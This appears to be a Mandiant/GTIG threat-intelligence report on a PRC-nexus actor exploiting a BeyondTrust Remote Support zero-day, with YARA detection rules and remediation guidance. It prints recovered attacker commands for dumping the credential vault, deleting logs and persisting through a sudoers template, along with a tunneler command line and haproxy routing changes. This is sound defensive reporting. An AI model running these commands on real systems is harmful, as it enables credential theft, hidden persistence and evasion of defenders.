			(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
			(2 of ($ld*) and 2 of ($com*)) or
			($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
		)
}

rule G_APT_Backdoor_SHINYROAD_2
{
	meta:
		author = "Mandiant"
		desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"

	strings:
		$pkpy_magic = { 4F 43 01 00 }
		$proto1 = "mct3-handshake-v1" ascii
		$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
		$jam1 = "JAM_BURST_PACKETS_MIN" ascii
		$jam2 = "JAM_MIN_MS" ascii
		$jam3 = "JAM_MAX_BYTES" ascii
		$mod1 = "_pyio_struct" ascii
		$mod2 = "_pyio_compat" ascii
		$enc1 = "nh_enc" ascii
		$enc2 = "encbody" ascii

	condition:
		$pkpy_magic at 0 and filesize < 500KB and (
			$proto1 or
			$script or
			all of ($jam*) or
			(all of ($mod*) and any of ($enc*))
		)
}

rule G_APT_Launcher_ADAPTAGENT_1
{
	meta:
		author = "Mandiant"
		desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
		ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
		platforms = "Win"
		rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"

	strings:
		// Sideloaded Masquerading & Camouflage
		$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
		$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
		$camo_dll1 = "Eztwain4.dll" ascii wide nocase
		$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
		$camo_ver = "14.10.1.0" ascii wide
		$camo_copy = "Nitro Software, Inc." ascii wide

		// NitroPromotion Loader & Staging Functionality
		$load1 = "DownloadToLocalAppData" ascii
		$load2 = "ExtractZipToDirectoryA" ascii
		$load3 = "GetTempZipFileNameA" ascii
		$load4 = "CreateScheduledTask" ascii

		// Adaptix C2 & ADAPTAGENT Core Artifacts
		$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
		$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
		$adapt3 = "\\\\.\\pipe\\%08lx" ascii
		$adapt4 = "13ConnectorHTTP" ascii
		$adapt5 = "9Connector" ascii

	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
			// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
			(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or

			// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
			(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
			(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
		)
}

MITRE ATT&CK Techniques

Table 6: MITRE ATT&CK techniques

Acknowledgements

GTIG and Mandiant would like to thank the ManageEngine Threat Analysis Lab (METAL) research team for their initial discovery of this activity, proactive telemetry sharing, and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem.

Written by: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram

Introduction 

On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files. 

During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as UNC5221), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.

Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public. 

Exploitation

Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the /home directory. We strongly recommend that affected organizations immediately apply the security patches provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their blog.

Post-Exploitation

Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.

Staging Webshell

After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion. 

SAWFLY Webshell

SAWFLY (mangoapi.php) is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter _c94mfe. 

If the parameter is absent, the script immediately sets HTTP status 404 Not Found (http_response_code(404)) and exits to evade automated web crawlers and vulnerability scanners. When the _c94mfe parameter is supplied, the webshell Base32-decodes the payload, decrypts it using RC4 with a hardcoded 32-byte key and executes the resulting PHP code via @eval(). Any non-null return value from the evaluated code is RC4-encrypted with the same key, Base32-encoded, and echoed back to the client. 

Privilege Escalation via SUID Bit Permissions

The SAWFLY webshell ran under the site's service account, an unprivileged local user. To escalate privileges, the threat actor copied the system shell executable (/bin/sh) to the file /usr/bin/dbus-authd.

The threat actor then modified the file's ownership to root and enabled Set User ID (SUID) permissions. When a binary has SUID permissions enabled, it executes with the privileges of the file's owner (root) rather than the user running the command, effectively granting the threat actor a persistent root-level backdoor on the host system.

After establishing a foothold through the web shell, the actor elevated from the web service account to root-level control of the appliance host. This gave them access to every credential the appliance stored or brokered and the ability to modify files that survive reboot and configuration reset.

Credential Harvesting: BeyondTrust Vault Extraction

Mandiant observed the threat actor attempt to harvest credentials directly from the appliance's native secrets management database. To achieve this, the actor leveraged the /ns/sbin/bt-secrets binary which is a proprietary, administrative Command Line Interface (CLI) utility native to BeyondTrust appliances used to manage, store, and retrieve passwords, API keys, and endpoint credentials.

The threat actor systematically iterated through several CLI syntax variations to locate and dump the appliance's credential vault:

/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault

Figure 2: Recovered Commands from message logs

First, the threat actor attempted to target the vault for a specific site service account in order to pull passwords and keys assigned exclusively to that profile.

Next, they issued a fallback command, targeting the global, appliance-level password safe to dump all stored administrative credentials.

The threat actor concluded their interaction with the bt-secrets binary by forcibly removing the records stored in /home/bomgar/log/bt-secrets.log and any archived files.

/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'

Figure 3: Recovered Commands from message logs

Persistence

For long-term persistent access, Mandiant observed the threat actor target the BeyondTrust configuration templates to grant passwordless root privileges to the site service account.

First, the threat actor created the /home/bomgar/sbin/post_boot.d directory, which is reserved for scripts executed automatically at system startup. Within this directory, they created a shell script named zz-root-persist.

The contents of the zz-root-persist script indicate that it first checks if the user account is already granted passwordless root privileges within the /ns/config/sudoers.template file. If the entry is missing, the script appends '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' to the template. This entry added  to the sudoers template grants the site user account passwordless administrative privileges to execute any command on the host system.

Finally, the script executes '/ns/sbin/bt-sysconfig' --no-restart misc, which forces the appliance backend to immediately parse /ns/config/sudoers.template and rebuild the active /etc/sudoers file. This strategy ensures the threat actor's privilege escalation survives system reboots and configuration resets, which would normally overwrite manual changes made directly to /etc/sudoers.

#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc

 Figure 4: Contents of zz-root-persist

Anti-Forensics

Throughout their unauthorized access to the appliance, Mandiant observed multiple instances where the threat actor attempted to impair defenses and hinder detection by systematically deleting system, web server, and application-level logs.

Originating from the SAWFLY webshell, the threat actor executed the following command using elevated sudo privileges to delete active logs across both host and site-specific directories:

'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'

Figure 5: Recovered Command

Lateral Movement: BeyondTrust Admin Session Abuse

After the compromise of the BeyondTrust device, the threat actor pivoted into the BeyondTrust Remote Support application to perform reconnaissance via compromised Administrator credentials. First, the threat actor leveraged the Administrator account to log into the web administrative portal.

{
  "event": "login",
  "status": "success",
  "target": "web/login",
  "who": "[REDACTED_USERNAME] using password",
  "who_ip": "[REDACTED_IP]"
}

Figure 6: BeyondTrust Syslog Entry

After testing their initial access and verifying their ability to temporarily join the native Administrators group policy, the threat actor altered their strategy for long-term persistence. The actor directly modified the compromised account's permissions, upgrading both local Jump Items and Team permissions from No Access to Administrator. Jump Items are individual systems or devices that are made available for remote access within a Jump Group, enabling administrators to organize and control access to remote systems. This configuration change granted the threat actor permanent, unrestricted authorization to launch remote sessions to downstream systems populated within the appliance's Jump Item list.

{
  "event": "user_changed",
  "old_username": "[REDACTED]",
  "old_permissions:jump_item_role:default:id": 1,
  "new_permissions:jump_item_role:default:id": 3,
  "old_permissions:jump_item_role:default:name": "No Access",
  "new_permissions:jump_item_role:default:name": "Administrator",
  "old_permissions:jump_item_role:teams:id": 1,
  "new_permissions:jump_item_role:teams:id": 3,
  "old_permissions:jump_item_role:teams:name": "No Access",
  "new_permissions:jump_item_role:teams:name": "Administrator"
}

Figure 7: BeyondTrust Syslog Entry

Internal Reconnaissance

Once the threat actor obtained elevated administrative privileges, Mandiant observed the threat actor establish a remote support session to target internal endpoints.

Once connected, the threat actor leveraged the appliance’s built-in support tools to request and obtain full file-system access. The threat actor utilized the native BeyondTrust Remote Support file transfer service to download and exfiltrate sensitive internal documents useful for network reconnaissance, such as software inventories, directly from the user's desktop environment. 

BARECLAW Tunneler

Mandiant observed the threat actor tunnel traffic through the BeyondTrust device via a custom SOCKS5 proxy tunneler. BARECLAW is a tunneler written in C that provides a SOCKS5 proxy service carried over the WebSocket transport and relays TCP connections between a remote client and destinations. BARECLAW statically embeds a CivetWeb WebServer to supply its HTTP and WebSocket functionality and utilizes OpenSSL for TLS. BARECLAW is configurable and provides the option to require authentication, to encrypt data between the client and tunneler, to restrict reachable destinations to specific CIDR ranges, to chain traffic to an upstream proxy, and to modify its default WebSocket endpoint and listening ports. TLS is enabled by providing a PEM certificate while authentication, encryption, destination filtering, and TLS are disabled by default. 

BARECLAW receives its configuration through CLI input and it provides a CLI option menu:

Usage: %s [options]
  --listen PORT            plain ws port (default 8080)
  --listen-tls PORT        wss port (default 8443, needs --ssl-cert)
  --ssl-cert FILE          PEM certificate (enables wss)
  --token STRING           shared secret (?token= auth + obfs seed)
  --obfs                   enable XOR stream obfuscation
  --timeout SEC            idle timeout (default 300)
  --connect-timeout SEC    target connect timeout (default 10)
  --max-tunnels N          concurrent tunnel limit (default 100)
  --allow-net CIDR         allowed target subnet (repeatable)
  --upstream [socks5://]host:port   route via upstream SOCKS5
  --threads N              civetweb worker threads (default 64)
  --ws-path PATH           websocket endpoint path (default /wsproxy)
  -q, --quiet              zero output (all logging suppressed)
  -h                       this help

Figure 8: BARECLAW CLI Option Menu

The threat actor executed BARECLAW through the following command line arguments:

/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge

Figure 9: BARECLAW full Command-Line Arguments

This command line configures BARECLAW to listen on TCP port 19800 and create the WebSocket endpoint /uidchanarge on the victim system. Clients are required to authenticate using the token specified in the command line arguments while the -q argument suppresses the tunneler’s logging. Tunneled data is encrypted with an XOR-based routine derived from that token and an 8-byte value provided by the client at the start of the session. The lack of the --ssl-cert and --listen-tls arguments in the CLI options means TLS was not enabled in this specific instance.

Modifications to Haproxy.conf

In addition to the creation of the BARECLAW tunneler, Mandiant observed the threat actor modify the /ns/config/haproxy.conf file in order for BARECLAW to be accessible directly from the internet. The HAProxy service running on BeyondTrust devices acts a reverse proxy for the device that accepts incoming requests on behalf of the BeyondTrust server and forwards the request to the appropriate backend services running on the local system (such as web interfaces, administration portals, or application gateways) based on the request's port or URL path. 

The haproxy.conf file is the primary configuration script that dictates how the BeyondTrust appliance handles, routes, and secures incoming traffic. The threat actor modifications first established an Access Control List (ACL) named wswsws to monitor incoming traffic for the specific URI path /uidchanarge. When a request matching this path is detected, HAProxy bypasses normal appliance web services and routes the traffic to a custom backend designated as webskd3.

    acl wswsws path /uidchanarge
    use_backend webskd3 if wswsws

Figure 10: ACL Modification to haproxy.conf

Next, the webskd3 backend routes the incoming web stream locally (127.0.0.1 / localhost) to TCP port 19800, where the BARECLAW utility is actively listening. This local-only binding ensures that the backdoor listener remains completely hidden from external network scans, as it can only be reached internally via HAProxy's local redirection.

backend webskd3
    mode http
    server websocks5srv 127.0.0.1:19800
    option http-keep-alive
    timeout server 28s
    timeout tunnel 5h

Figure 11: Backend Route Modification to haproxy.conf

Attribution

GTIG attributes the zero-day exploitation of CVE-2026-102764 and the subsequent deployment of SAWFLY and BARECLAW to the suspected PRC-nexus espionage actor ARMORY CASTLE (formerly tracked as UNC5221). The tooling and TTPs leveraged within this intrusion align with previously observed activity from ARMORY CASTLE.

GTIG has previously reported ARMORY CASTLE exploiting multiple vulnerabilities in edge appliances and deploying an extensive suite of custom tooling to support their objectives, ranging from passive backdoors and webshells to trojanized components of edge devices. ARMORY CASTLE has been active as early as October 2023 and has targeted a wide range of countries and verticals during their operations. 

Outlook and Implications

In past campaigns, ARMORY CASTLE has conducted widespread and opportunistic exploitation following the public disclosure of vulnerabilities it had exploited selectively as zero-days, racing to infiltrate target organizations before patches are deployed. It is possible that we will observe similar widespread exploitation attempts associated with CVE-2026-102764. 

GTIG assesses with high confidence that ARMORY CASTLE will continue to leverage zero-day vulnerabilities in edge devices to gain access to environments to support their espionage objective. Defenders should also prepare for the possibility that following disclosure of CVE-2026-102764, ARMORY CASTLE may conduct widespread exploitation similar to what GTIG observed in 2024 following the disclosure of CVE-2023-46805 and CVE-2024-21887. 

Remediation and Hardening

Organizations that have not yet applied the BT26-05 patch should immediately assess their exposure and risk, and review additional guidance from BeyondTrust in their blog. CVE-2026-102764 affects all supported Remote Support versions up to 26.2.3 and allows an unauthenticated remote attacker to perform file operations on the appliance, which can lead to host-level control and access to every credential the appliance stores or brokers. Any appliance that was reachable from the internet on a vulnerable version during the exploitation window should be treated as potentially compromised until it has been reviewed. Mandiant recommends a phased, patch-first approach that balances containment against disruption to support operations.

Immediate Mitigation

Organizations should choose among the following options based on their risk tolerance, evidence of compromise, and operational needs.

Option 1: Apply the BT26-05 Patch (Mandiant Recommended)

• Remote Support SaaS: BeyondTrust applied the patch to all SaaS tenants on October 9, 2026. No customer action is required for the appliance itself. The credential and configuration steps in Option 3 still apply.

• Self-hosted, version 24.3.1 or later: Apply the BT26-05-RS patch from the /appliance interface, or confirm it was applied automatically if the appliance is subscribed to automatic updates.

• Self-hosted, older than 24.3.1: Upgrade to a supported version, then apply the patch. Upgrading closes the vulnerability but does not remediate prior exposure.

• If the patch is not visible in /appliance, open a case with BeyondTrust Support referencing BT26-05.

Option 2: Isolate Compromised or Suspected Appliances

• Preserve before acting: Snapshot virtual appliances with memory and export the disk before any change or reboot. For B Series hardware and SaaS tenants, request forensic preservation through BeyondTrust Support. Collect syslog, reverse-proxy or WAF, and perimeter firewall logs for the full exposure window, since an attacker with host access can delete on-appliance logs. Mandiant determined that the actor removed logs throughout the incident.

• Isolate at the perimeter: Block inbound traffic to the appliance's public address at the firewall rather than in /appliance, so the configuration remains intact for review.

• Restrict egress: Deny outbound traffic except to BeyondTrust update and licensing endpoints, and log every denied connection.

• Terminate access paths: End active support sessions and disable new sessions, Jump Clients, Jumpoints, and API accounts from /login. Disable rather than delete so the audit trail survives.

• Rebuild rather than clean: Redeploy appliances with confirmed or unknown compromise status from a clean, fully patched image. Customers cannot audit the appliance host file system, and host-level persistence survives reboot and configuration reset. Restore only a configuration backup dated before the exposure window, or restore the newest backup while isolated and complete the review in Option 3, Part B, before reconnecting anything. Issue a new TLS certificate and redeploy Jump Clients, Jumpoints, and the representative console from the rebuilt appliance.

Note: Isolation and session termination interrupt support operations. Organizations should coordinate with help desk and vendor-support stakeholders before proceeding.

Option 3: Apply Targeted Compensating Controls

The following controls reduce exposure and limit post-exploitation impact. They do not substitute for the patch.

Part A: Network Restrictions

• Restrict access to the /login and /appliance administrative interfaces by IP or network segment at the appliance level. Only representative console, customer portal, and Jump Client traffic should be reachable from the internet.

• Where operationally possible, place a reverse proxy or WAF with full URI logging in front of the appliance to keep a record of request paths that the appliance cannot alter.

Part B: Credential Rotation and Configuration Review

• Revoke sessions and enrollments: End all active support sessions, then redeploy Jump Clients, Jumpoints, and the representative console from the patched or rebuilt appliance to invalidate existing tokens.

• Rotate credentials in dependency order: /appliance administrative credentials; /login administrators and local users; API client secrets; security provider bind accounts and SAML signing keys; Remote Support Vault and integrated Password Safe or Privileged Remote Access (PRA) credentials, rotated at the target system; integration credentials (SMTP, syslog, Information Technology Service Management (ITSM) connectors, outbound event secrets); and any credential typed into a support session during the window.

• Review the /login configuration against a pre-window baseline: user and role changes, particularly Jump Item roles raised to Administrator; group and session policies; API accounts; security providers; Jump Items and Jumpoints; and outbound event or syslog destinations. Remove anything without a change record or a named owner.

• Review support session reports for the window, including file transfers, to establish which endpoints were accessed and what left them. Every endpoint touched is in scope for downstream hunting.

Note: Rotate credentials only after the appliance has been patched or rebuilt. Rotating earlier exposes the new credentials to an attacker who still controls the appliance.